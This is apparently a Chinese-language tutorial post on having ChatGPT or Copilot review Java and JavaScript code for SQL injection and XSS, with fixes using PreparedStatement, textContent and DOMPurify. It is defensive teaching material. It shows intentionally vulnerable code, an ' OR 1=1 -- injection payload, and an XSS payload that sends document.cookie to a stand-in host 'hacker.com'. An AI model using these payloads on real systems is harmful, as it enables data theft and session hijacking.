昨天我們探討了大型語言模型時代特有的新威脅——Prompt Injection。然而，在軟體工程與 Web 應用的實際戰場上，威脅等級最高、最容易被滲透測試抓到並被攻擊者打穿資料庫的，依然是經典的 SQL Injection（SQL 注入）與 XSS（Cross-Site Scripting，跨站腳本攻擊）。

很多開發者在趕進度時，常會貪圖方便寫出「字串直接拼接 SQL」或「前端直接用 v-html / innerHTML 渲染不可信資料」的代碼。

手動進行代碼安全審查（Code Review）需要耗費極大的精力與資安敏銳度。今天我們就來示範：如何讓 ChatGPT / Copilot 扮演「靜態代碼安全審查員（SAST, Static Application Security Testing）」，在代碼 Merge 進主分支前，精準抓出隱藏的漏洞並給出防禦重構方案！

一、代碼安全審查專用提示詞模板（Security Review Prompting）

想要讓 AI 進行具備黑客視角的安全分析，不要只問「這段代碼安全嗎？」，請使用以下標準資安審查結構：

【代碼安全審查提示詞範本】
請扮演資深應用程式安全架構師（AppSec Specialist）與滲透測試工程師。以下是一段等待安全審查的後端/前端代碼片段：

[貼上待審查的代碼區塊]

請依序進行深度安全剖析：

1. 漏洞定位與攻擊概念證明（PoC, Proof of Concept）：
   • 指出代碼中是否存在 OWASP Top 10 漏洞（如 SQL Injection、XSS、敏感資訊外洩）。
   • 提供攻擊者可能傳入的惡意 Payload（PoC），並解釋攻擊如何得逞。
2. 危害等級評估：說明若被成功利用，可能對系統造成何種損失（如資料外洩、權限提升、勒索注入）。
3. 修復重構代碼：提供使用 Java / Spring 最佳實踐重構的防禦代碼，徹底杜絕漏洞。
4. 自動化防護建議：如何利用靜態掃描工具（如 SonarQube、Checkmarx）或框架特性防止同類問題再次發生？

二、實戰案例一：致命的 SQL Injection 漏洞審查

假設我們在專案庫存模組中發現了以下資料庫查詢代碼：

[審查前：脆弱的 SQL 拼接代碼]
public class ProductDao {
    private final Connection connection;

    public ProductDao(Connection connection) {
        this.connection = connection;
    }

    public List<Product> searchProducts(String category, String keyword) throws SQLException {
        // 致命漏洞：直接將未經消毒的參數拼接進 SQL 語句
        String sql = "SELECT * FROM products WHERE category = '" + category + "' AND name LIKE '%" + keyword + "%'";
        Statement statement = connection.createStatement();
        ResultSet rs = statement.executeQuery(sql);
        // 解析 ResultSet...
        return parseProducts(rs);
    }
}

AI 的資安剖析與攻擊 PoC

AI 會立刻發出高危警報並指出：

• 漏洞類型：CWE-89: SQL Injection（高危險等級）
• 攻擊 Payload 示範：
  若攻擊者在 category 欄位傳入：
  ' OR 1=1 --
  整段 SQL 被解析成：
  SELECT * FROM products WHERE category = '' OR 1=1 -- ' AND name LIKE '%...%'
  -- 會將後方所有條件直接註解掉，導致查詢條件恆為真，攻擊者可一次撈出未公開的下架商品，甚至藉由 UNION SELECT 拖庫（Dump）撈取使用者密碼表！

AI 提供的修復方案：參數化查詢（PreparedStatement）

根治 SQL Injection 的唯一正確解法是「參數化預編譯（Parameterized Queries）」，讓資料庫驅動將參數純粹視為資料，絕不作為指令解析：

[修復後：安全的預編譯查詢代碼]
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.List;

public class ProductDao {
    private final Connection connection;

    public ProductDao(Connection connection) {
        this.connection = connection;
    }

    public List<Product> searchProducts(String category, String keyword) throws SQLException {
        // 使用佔位符「?」，禁止字串拼接
        String sql = "SELECT * FROM products WHERE category = ? AND name LIKE ?";
        
        try (PreparedStatement ps = connection.prepareStatement(sql)) {
            ps.setString(1, category);
            // 在參數內部組裝模糊搜尋萬用字元
            ps.setString(2, "%" + keyword + "%");
            
            try (ResultSet rs = ps.executeQuery()) {
                return parseProducts(rs);
            }
        }
    }
}

三、實戰案例二：前端儲存型 XSS 漏洞審查

在 Web 前端或全端渲染時，另一個常見的漏洞是未轉義的使用者內容：

[審查前：危險的前端渲染代碼]
// 假設從後端 API 取得使用者留言 comment.content
const commentBox = document.getElementById('comment-box');
// 致命漏洞：直接使用 innerHTML 渲染未轉義的使用者內容
commentBox.innerHTML = <div class="user-comment">${comment.content}</div>;

AI 的防禦指引：

• 攻擊手法：攻擊者輸入 <img src=x onerror="fetch('https://hacker.com/steal?cookie=' + document.cookie)">。一旦其他使用者打開頁面，瀏覽器便會自動執行該 JavaScript 腳本，造成 Session / Cookie 劫持。
• 修復方案：
  1. 一律改用純文字渲染屬性：textContent 或 innerText。
  2. 若必須支援富文本 HTML，需使用成熟的開源消毒函式庫（如 DOMPurify）過濾惡意標籤：
     import DOMPurify from 'dompurify';
     commentBox.innerHTML = DOMPurify.sanitize(comment.content);

四、工程師的資安防禦體會

1. 絕不信任任何前端輸入：
   無論是表單輸入、URL Query、HTTP Header、甚至資料庫取出來的舊資料，在進入 SQL 語法或 HTML 輸出前，都必須視為潛在的惡意輸入。
2. AI 是優秀的「白盒審查助教」：
   在發布 Pull Request 前，將可疑的資料庫存取方法或前端元件餵給 AI 做安全檢查，能提前攔截 90% 以上因疏忽產生的低階注入漏洞。
3. 整合 CI/CD 流程自動化：
   除了平時請 AI 檢查代碼，在產線（Pipeline）中整合 SonarQube 或 GitHub CodeQL 進行持續性掃描，能建立多重安全保障。

今日小結與預告

今天我們示範了如何利用 AI 扮演應用程式安全審查員，剖析了 SQL Injection 與 XSS 的攻擊原理，並透過「PreparedStatement 預編譯」與「輸出消毒轉義」徹底封堵了高危漏洞。